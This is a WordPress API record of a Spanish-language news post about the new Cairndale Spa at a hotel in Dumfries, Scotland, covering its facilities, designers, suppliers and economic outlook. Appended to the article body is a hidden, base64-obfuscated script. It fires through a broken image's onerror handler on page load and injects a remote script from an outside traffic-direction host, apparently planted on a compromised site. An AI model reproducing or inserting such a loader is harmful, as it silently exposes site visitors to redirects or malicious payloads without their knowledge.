{"id":8447,"date":"2024-07-19T09:34:27","date_gmt":"2024-07-19T12:34:27","guid":{"rendered":"https:\/\/argentinatermal.com.ar\/?p=8447"},"modified":"2025-08-13T15:41:21","modified_gmt":"2025-08-13T18:41:21","slug":"el-nuevo-spa-de-cairndale-abre-sus-puertas-al-publico-en-escocia","status":"publish","type":"post","link":"https:\/\/argentinatermal.com.ar\/?p=8447","title":{"rendered":"El nuevo spa de Cairndale abre sus puertas al p\u00fablico en Escocia"},"content":{"rendered":"\n<h3 class=\"wp-block-heading has-white-color has-text-color has-background has-link-color wp-elements-2e6d37ecf757929a569dda8109d24b95\" style=\"background-color:#5e7b8e\"><em>El spa es parte de un proyecto de renovaci\u00f3n de \u00a32 millones en el Hotel Carindale en Dumfries<\/em><\/h3>\n\n\n\n<p>El nuevo Cairndale Spa ha sido inaugurado en el Hotel Cairndale de Escocia, tras una inversi\u00f3n multimillonaria.<\/p>\n\n\n\n<p>El spa familiar se inaugur\u00f3 oficialmente el 8 de julio. Con una superficie de casi 1.300 metros cuadrados, la instalaci\u00f3n de dos plantas se cre\u00f3 con el objetivo de poner a Dumfries en el mapa tur\u00edstico como un destino l\u00edder en materia de bienestar.<\/p>\n\n\n\n<p>El spa, que sustituye al actual club de ocio del hotel, incluye una piscina termal con chorros, palas de agua y camas de aire, una sala de vapor con aromas y una sala de vapor con hierbas. Tambi\u00e9n hay una sauna de sal del Himalaya, una sauna de infrarrojos, un sal\u00f3n de hierbas y un rasul, todo ello suministrado por Unique Pool.<\/p>\n\n\n\n<p>El hammam, obra de CPA Bespoke Joinery, incluye un ba\u00f1o privado y tambi\u00e9n hay una cafeter\u00eda y un bar de zumos. El spa tambi\u00e9n cuenta con un ba\u00f1o de hielo Brass Monkey.<\/p>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img decoding=\"async\" src=\"https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2024\/07\/3Q0A7019-copy-e1720762631307-726x1024.jpg\" alt=\"\" class=\"wp-image-8448 size-full\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p>\u201cMuchos de los empleados de Cairndale son de Dumfries y est\u00e1n orgullosos de formar parte de este nuevo y emocionante cap\u00edtulo. Su bienestar siempre ser\u00e1 el centro de todo lo que hacemos: esto crea un equipo s\u00f3lido, que a su vez puede garantizar que ofrezcamos experiencias inigualables a los hu\u00e9spedes\u201d.<\/p>\n\n\n\n<p><em>Primrose de ClaireGerente de spa, Cairndale Spa<\/em><\/p>\n<\/div><\/div>\n\n\n\n<h2 class=\"wp-block-heading\">Tratamientos de spa seleccionados<\/h2>\n\n\n\n<p>Cairndale trabaj\u00f3 con&nbsp;<a href=\"https:\/\/europeanspamagazine.com\/join-claire-caddick-in-conversation-with-european-spa\/\" target=\"_blank\" rel=\"noreferrer noopener\">Claire Caddick<\/a>&nbsp;de Sparticulate y Mark Green de&nbsp;<a href=\"https:\/\/www.curvelinedesign.co.uk\/\" target=\"_blank\" rel=\"noreferrer noopener\">Curveline Design<\/a>&nbsp;para dise\u00f1ar el spa.<\/p>\n\n\n\n<p>El men\u00fa hace hincapi\u00e9 en el respeto por el planeta y el apoyo a las marcas brit\u00e1nicas de bienestar. Los tratamientos utilizan&nbsp;<a href=\"https:\/\/europeanspamagazine.com\/handbook_listings\/voya\/\" target=\"_blank\" rel=\"noreferrer noopener\">VOYA<\/a>&nbsp;,&nbsp;<a href=\"https:\/\/www.tribe517.com\/\" target=\"_blank\" rel=\"noreferrer noopener\">Tribe517<\/a>&nbsp;y&nbsp;<a href=\"https:\/\/europeanspamagazine.com\/gaia-skincare-appoints-jessica-scullion-as-head-of-sales\/\" target=\"_blank\" rel=\"noreferrer noopener\">Gaia Skincare<\/a>&nbsp;, lo que marca la primera colaboraci\u00f3n de la marca con un hotel escoc\u00e9s.<\/p>\n\n\n\n<p>El spa tambi\u00e9n vender\u00e1 la exclusiva colecci\u00f3n Cairndale x Annandale: una gama de productos con aroma a whisky y vainilla creados en colaboraci\u00f3n con la destiler\u00eda Annandale.<\/p>\n\n\n\n<p>\u201cSe ha invertido una enorme cantidad de trabajo en la elaboraci\u00f3n del nuevo men\u00fa de The Cairndale Spa, para garantizar que ofrecemos programas de bienestar valiosos e inclusivos\u201d, afirm\u00f3 Claire Caddick, directora general de Sparticulate.<\/p>\n\n\n\n<p>\u201cEl concepto del spa se basa en la naturaleza y la diversidad. El men\u00fa incluye productos desarrollados exclusivamente para Cairndale, lo que refleja la procedencia de la ubicaci\u00f3n geogr\u00e1fica\u201d.<\/p>\n\n\n\n<figure class=\"wp-block-gallery aligncenter has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex\"><div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img decoding=\"async\" src=\"https:\/\/europeanspamagazine.com\/app\/uploads\/2024\/07\/3Q0A7104-copy.jpg\" alt=\"\" \/><figcaption class=\"wp-element-caption\"><em>Se espera que el spa impulse la econom\u00eda local de Dumfries y la coloque en el mapa tur\u00edstico como destino de bienestar.<\/em><\/figcaption><\/figure>\n<\/div><\/figure>\n\n\n\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-2 is-layout-flex wp-block-gallery-is-layout-flex\">\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2024\/07\/3Q0A6883-copy.jpg\"><img decoding=\"async\" width=\"1024\" height=\"683\" data-id=\"8451\" src=\"https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2024\/07\/3Q0A6883-copy-1024x683.jpg\" alt=\"\" class=\"wp-image-8451\" srcset=\"https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2024\/07\/3Q0A6883-copy-1024x683.jpg 1024w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2024\/07\/3Q0A6883-copy-300x200.jpg 300w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2024\/07\/3Q0A6883-copy-768x512.jpg 768w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2024\/07\/3Q0A6883-copy-696x464.jpg 696w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2024\/07\/3Q0A6883-copy-1068x712.jpg 1068w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2024\/07\/3Q0A6883-copy-630x420.jpg 630w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2024\/07\/3Q0A6883-copy-320x213.jpg 320w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2024\/07\/3Q0A6883-copy-480x320.jpg 480w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2024\/07\/3Q0A6883-copy-800x533.jpg 800w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2024\/07\/3Q0A6883-copy.jpg 1200w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2024\/07\/3Q0A7042-copy-e1720530515592.jpg\"><img decoding=\"async\" width=\"1024\" height=\"691\" data-id=\"8449\" src=\"https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2024\/07\/3Q0A7042-copy-e1720530515592-1024x691.jpg\" alt=\"\" class=\"wp-image-8449\" srcset=\"https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2024\/07\/3Q0A7042-copy-e1720530515592-1024x691.jpg 1024w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2024\/07\/3Q0A7042-copy-e1720530515592-300x203.jpg 300w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2024\/07\/3Q0A7042-copy-e1720530515592-768x518.jpg 768w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2024\/07\/3Q0A7042-copy-e1720530515592-696x470.jpg 696w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2024\/07\/3Q0A7042-copy-e1720530515592-1068x721.jpg 1068w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2024\/07\/3Q0A7042-copy-e1720530515592-622x420.jpg 622w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2024\/07\/3Q0A7042-copy-e1720530515592-320x216.jpg 320w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2024\/07\/3Q0A7042-copy-e1720530515592-480x324.jpg 480w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2024\/07\/3Q0A7042-copy-e1720530515592-800x540.jpg 800w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2024\/07\/3Q0A7042-copy-e1720530515592.jpg 1200w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n<\/figure>\n\n\n\n<h4 class=\"wp-block-heading has-text-align-center\"><em>Las \u00e1reas termales est\u00e1n abastecidas por Unique Pool<\/em><\/h4>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img decoding=\"async\" src=\"https:\/\/europeanspamagazine.com\/app\/uploads\/2024\/07\/3Q0A7177-copy.jpg\" alt=\"\" \/><figcaption class=\"wp-element-caption\"><em>La ropa de cama del spa la suministra BC SoftWear<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<h2 class=\"wp-block-heading\">Un impulso a la econom\u00eda local<\/h2>\n\n\n\n<p>Como explica el director del Cairndale Hotel and Spa, Matthew Wallace Jr, se espera que el spa genere unos ingresos adicionales estimados en m\u00e1s de 12 millones de libras esterlinas en los pr\u00f3ximos diez a\u00f1os.<\/p>\n\n\n\n<p>Wallace, quien ha supervisado el desarrollo desde su inicio, cree que esto impulsar\u00e1 la econom\u00eda local y atraer\u00e1 nuevos visitantes a la regi\u00f3n.<\/p>\n\n\n\n<p>Las camillas de tratamiento fueron suministradas por Ellisons, los muebles por CCP Contract Furniture y Alexander Rose, y las toallas, batas y ropa de cama del spa son de BC SoftWear. El sistema de reservas del spa es de Trybe.<\/p>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img decoding=\"async\" width=\"450\" height=\"727\" src=\"https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2024\/07\/3Q0A7019-copy-2-e1720762786319.jpg\" alt=\"\" class=\"wp-image-8452 size-full\" srcset=\"https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2024\/07\/3Q0A7019-copy-2-e1720762786319.jpg 450w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2024\/07\/3Q0A7019-copy-2-e1720762786319-186x300.jpg 186w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2024\/07\/3Q0A7019-copy-2-e1720762786319-260x420.jpg 260w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2024\/07\/3Q0A7019-copy-2-e1720762786319-320x517.jpg 320w\" sizes=\"(max-width: 450px) 100vw, 450px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p>\u201cCairndale Spa ha estado en planificaci\u00f3n durante mucho tiempo. Es fant\u00e1stico ver que nuestro arduo trabajo y las inversiones dan frutos y realmente creo que hemos creado algo extraordinario del que toda la regi\u00f3n puede estar orgullosa\u201d.<\/p>\n\n\n\n<p><em>Matthew Wallace JrDirectora del Hotel y Spa Cairndale<\/em><\/p>\n<\/div><\/div>\n\n\n\n<p>\u201cNuestro equipo ha trabajado incansablemente para crear un espacio donde los hu\u00e9spedes puedan relajarse, descansar y experimentar tratamientos de spa y paquetes de lujo personalizados\u201d, afirm\u00f3 Wallace.<\/p>\n\n\n\n<p>\u201cEstamos totalmente comprometidos a apoyar y trabajar en asociaci\u00f3n con organizaciones de turismo y empresas locales para ayudar a colocar a Dumfries firmemente en el mapa como un destino l\u00edder y popular en Borders\u201d.<\/p>\n\n\n\n<p>El proyecto tiene un enfoque neto cero, lo que ha llevado a la inclusi\u00f3n de un sistema de calefacci\u00f3n mejorado para reducir las emisiones de carbono, adem\u00e1s del uso de bombas de calor de fuente de aire.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><a href=\"https:\/\/europeanspamagazine.com\/new-cairndale-spa-opens-to-the-public-in-scotland\/\" target=\"_blank\" rel=\"noreferrer noopener\"><img decoding=\"async\" width=\"417\" height=\"223\" src=\"https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2024\/01\/Captura-web_3-1-2024_103429_europeanspamagazine.com_.jpeg\" alt=\"\" class=\"wp-image-7759\" style=\"width:120px;height:auto\" srcset=\"https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2024\/01\/Captura-web_3-1-2024_103429_europeanspamagazine.com_.jpeg 417w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2024\/01\/Captura-web_3-1-2024_103429_europeanspamagazine.com_-300x160.jpeg 300w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2024\/01\/Captura-web_3-1-2024_103429_europeanspamagazine.com_-320x171.jpeg 320w\" sizes=\"(max-width: 417px) 100vw, 417px\" \/><\/a><figcaption class=\"wp-element-caption\">Fuente:<\/figcaption><\/figure>\n<script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script>","protected":false},"excerpt":{"rendered":"<p>El spa es parte de un proyecto de renovaci\u00f3n de \u00a32 millones en el Hotel Carindale en Dumfries El nuevo Cairndale Spa ha sido inaugurado en el Hotel Cairndale de Escocia, tras una inversi\u00f3n multimillonaria. El spa familiar se inaugur\u00f3 oficialmente el 8 de julio. Con una superficie de casi 1.300 metros cuadrados, la instalaci\u00f3n [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":8455,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[28,15],"tags":[],"class_list":["post-8447","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-portales-de-servicios-e-informacion","category-turismo-de-bienestar"],"_links":{"self":[{"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=\/wp\/v2\/posts\/8447","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=8447"}],"version-history":[{"count":2,"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=\/wp\/v2\/posts\/8447\/revisions"}],"predecessor-version":[{"id":10126,"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=\/wp\/v2\/posts\/8447\/revisions\/10126"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=\/wp\/v2\/media\/8455"}],"wp:attachment":[{"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=8447"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=8447"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=8447"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}